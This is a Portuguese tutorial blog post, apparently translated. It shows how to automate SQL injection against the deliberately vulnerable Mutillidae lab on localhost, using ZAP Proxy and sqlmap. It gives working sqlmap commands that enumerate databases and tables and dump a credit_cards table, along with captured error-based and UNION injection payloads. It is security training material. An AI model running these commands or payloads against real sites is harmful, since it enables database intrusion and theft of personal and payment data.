No meu jogo de computador favorito Quest for Glory 2: Trial by Fire, quando o mundo está novamente em perigo, o personagem principal acaba na Universidade de Wizards. Depois de passar nos exames de admissão, magos barbudos se oferecem para ir a esta Universidade, porque, depois de terminada, entenderemos todos os meandros da magia, estudaremos todos os feitiços e, definitivamente, salvaremos nossos amigos e derrotaremos o mal do mundo. O único problema é que levará de 15 a 20 anos para aprender e, durante esse período, as forças do mal terão tempo para derrotar mais de uma vez.
Toda vez que involuntariamente me lembro desse episódio, quando enfrento outro livro interessante ou uma pilha de documentação técnica. Muitos livros foram escritos sobre gerenciamento de tempo, mas, para mim, tudo se resume a uma fórmula simples: descobri o básico, descobri exemplos - depois apenas a automação!
Agora que temos alguma idéia de como as injeções funcionam, por que não tentar simplificar nossas vidas e mais uma vez descobrir um exemplo passado, mas com a ajuda de software adicional. Precisamos de duas ferramentas:
Sqlmap - uma ferramenta que permite automatizar a pesquisa e a exploração de vulnerabilidades no SQL e no ZAP Proxy - um servidor proxy local necessário para analisar o tráfego entre o navegador no servidor da Web.
Novamente, você precisa mencionar que essas não são as únicas ferramentas desse tipo e, com certeza, no próximo blog, você será convencido de que, em vez do sqlmap, você precisa lidar com o sqlninja e não precisa gastar tempo no ZAP quando houver Burp. Eu não discutirei com ninguém.
Começaremos a facilitar a vida interceptando o tráfego entre o cliente e o servidor da web. Os dados resultantes serão usados como parâmetros para o sqlmap. Em geral, a URL do aplicativo vulnerável também pode servir como um parâmetro, mas agora os dados do proxy serão mais claros para nós.
Trabalharemos com o mesmo exemplo de A1 que analisamos no
artigo anterior (“SQLi - Extrair dados”> “Informações do usuário (SQL)”).
Iremos a esta página através do nosso ZAP Proxy e inseriremos alguns dados. Entendo que a tentação já é tentar algo com o que aprendemos, mas agora você só precisa inserir dados obviamente errados. Entro meu admin / senha favorito e recebo a seguinte solicitação na interceptação:
GET http://127.0.0.1/mutillidae/index.php?page=user- info.php&username=admin&password=password&user-info-php-submit- button=View+Account+Details HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*
Aqui estamos interessados principalmente na primeira linha, a saber, a solicitação. Às vezes, é útil verificar se interceptamos. Isso pode ser feito repetindo essa solicitação gerada no mesmo navegador. Se obtivermos a mesma página com um erro, estaremos no caminho certo.
Salvaremos nossa solicitação interceptada como um arquivo separado request_sqlmap.txt.
Agora, vamos passar este arquivo para análise para o sqlmap:
sqlmap -r reqest_sqlmap.txt --banner
Precisamos do parâmetro
–banner para o
sqlmap para tentar determinar com qual DBMS estamos lidando. Em nosso exemplo, isso não é tão importante, mas, na prática, você pode acelerar os testes sem se distrair com aspectos de outros DBMSs que não são aplicáveis ao seu objetivo.
[23:19:48] [INFO] GET parameter 'username' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable GET parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n sqlmap identified the following injection point(s) with a total of 181 HTTP(s) requests: --- Parameter: username (GET) Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: page=user-info.php&username=admin' AND (SELECT 5399 FROM(SELECT COUNT(*),CONCAT(0x7171707871,(SELECT (ELT(5399=5399,1))),0x71706a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'UUZA'='UUZA&password=password&user-info-php-submit-button=View Account Details Type: UNION query Title: Generic UNION query (NULL) - 7 columns Payload: page=user-info.php&username=admin' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7171707871,0x4d754c5372467a65665a4c7672636e4c4a554777547162474e666f784e6b69754a43544a41675a50,0x71706a6271),NULL,NULL,NULL-- GGvT&password=password&user-info-php-submit-button=View Account Details --- [23:20:10] [INFO] the back-end DBMS is MySQL [23:20:10] [INFO] fetching banner web server operating system: Windows web application technology: Apache 2.4.29, PHP 7.2.3 back-end DBMS: MySQL >= 5.0 banner: '10.1.31-MariaDB' [23:20:10] [INFO] fetched data logged to text files under '/home/belowzero273/.sqlmap/output/127.0.0.1'
A verificação foi concluída com êxito e mais uma vez vimos o que, em geral, já sabíamos:
[23:19:48] [INFO] GET parameter 'username' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
Além disso, o sqlmap determinou que estamos lidando com o mysql, ou melhor, com seu fork. Agora vamos ver quais bancos de dados estão no servidor:
sqlmap -r reqest_sqlmap.txt -p username --dbms=MySQL --dbs
A seguir, indicaremos nosso arquivo de interceptação como um parâmetro para o sqlmap. Além disso, indicaremos os parâmetros que já conhecemos: o tipo de DBMS, bem como a opção
-dbs para obter dados sobre os bancos de dados existentes:
[23:27:19] [WARNING] reflective value(s) found and filtering out available databases [6]: [*] information_schema [*] mutillidae [*] mysql [*] performance_schema [*] phpmyadmin [*] test
Ótimo. Geralmente, os bancos de dados recebem alguns nomes significativos ou são criados automaticamente ao instalar aplicativos. O princípio de "Segurança pela obscuridade", é claro, não foi cancelado, mas essa é a exceção e não a regra. A coisa mais interessante em nosso caso, aparentemente, é a base mutillidae, vamos ver no que consiste:
sqlmap -r reqest_sqlmap.txt -p username --dbms=MySQL -D mutillidae --tables
Aqui, nas coisas que sabemos, adicionaremos o DBMS necessário e a chave –tables para examinar as tabelas neste banco de dados:
[23:29:42] [WARNING] reflective value(s) found and filtering out Database: mutillidae [13 tables] +----------------------------+ | accounts | | balloon_tips | | blogs_table | | captured_data | | credit_cards | | help_texts | | hitlog | | level_1_help_include_files | | page_help | | page_hints | | pen_test_tools | | user_poll_results | | youtubevideos | +----------------------------+
Já não é ruim. A tabela credit_cards parece especialmente promissora. Vamos dar uma olhada nisso:
sqlmap -r reqest_sqlmap.txt -p username --dbms=MySQL -D mutillidae -T credita_cards --columns
e obtenha:
[23:31:35] [WARNING] reflective value(s) found and filtering out Database: mutillidae Table: credit_cards [4 columns] +
Uau, há uma tabela inteira em que os dados do cartão de crédito devem ser armazenados! Agora que chegamos, vamos dar uma olhada nesta tabela:
sqlmap -r reqest_sqlmap.txt -p username --dbms=MySQL -D mutillidae -T credit_cards --dump
Opa:
[23:32:42] [WARNING] reflective value(s) found and filtering out Database: mutillidae Table: credit_cards [5 entries] +------+-----+----------------------------+-----------------+ | ccid | ccv | ccnumber | expiration | +------+-----+----------------------------+-----------------+ | 1 | 745 | 4444111122223333 | 2012-03-01 | | 2 | 722 | 7746536337776330 | 2015-04-01 | | 3 | 461 | 8242325748474749 | 2016-03-01 | | 4 | 230 | 7725653200487633 | 2017-06-01 | | 5 | 627 | 1234567812345678 | 2018-11-01 | +------+-----+----------------------------+-----------------+
Aqui estão eles, nossos cartões de crédito. Duas perguntas agora devem aparecer em sua cabeça: como funciona e de onde vêm todos esses dados?
Como isso funciona? Bem, estritamente falando, é o mesmo que se você estivesse analisando todas as opções possíveis, tentando aleatoriamente explorar essa ou aquela vulnerabilidade.
Mas de onde vieram os dados, a pergunta é para o administrador que postou informações tão importantes em um local inadequado.
O Sqlmap possui dezenas de parâmetros que não podemos analisar em um artigo. Mas a tarefa dos meus artigos é apresentar a solução e depende de você. Tente ao seu lazer também cavar o resto da base e experimentar os parâmetros, talvez os cartões de crédito não sejam os mais interessantes. =)
Leia o blog do autor
neste link .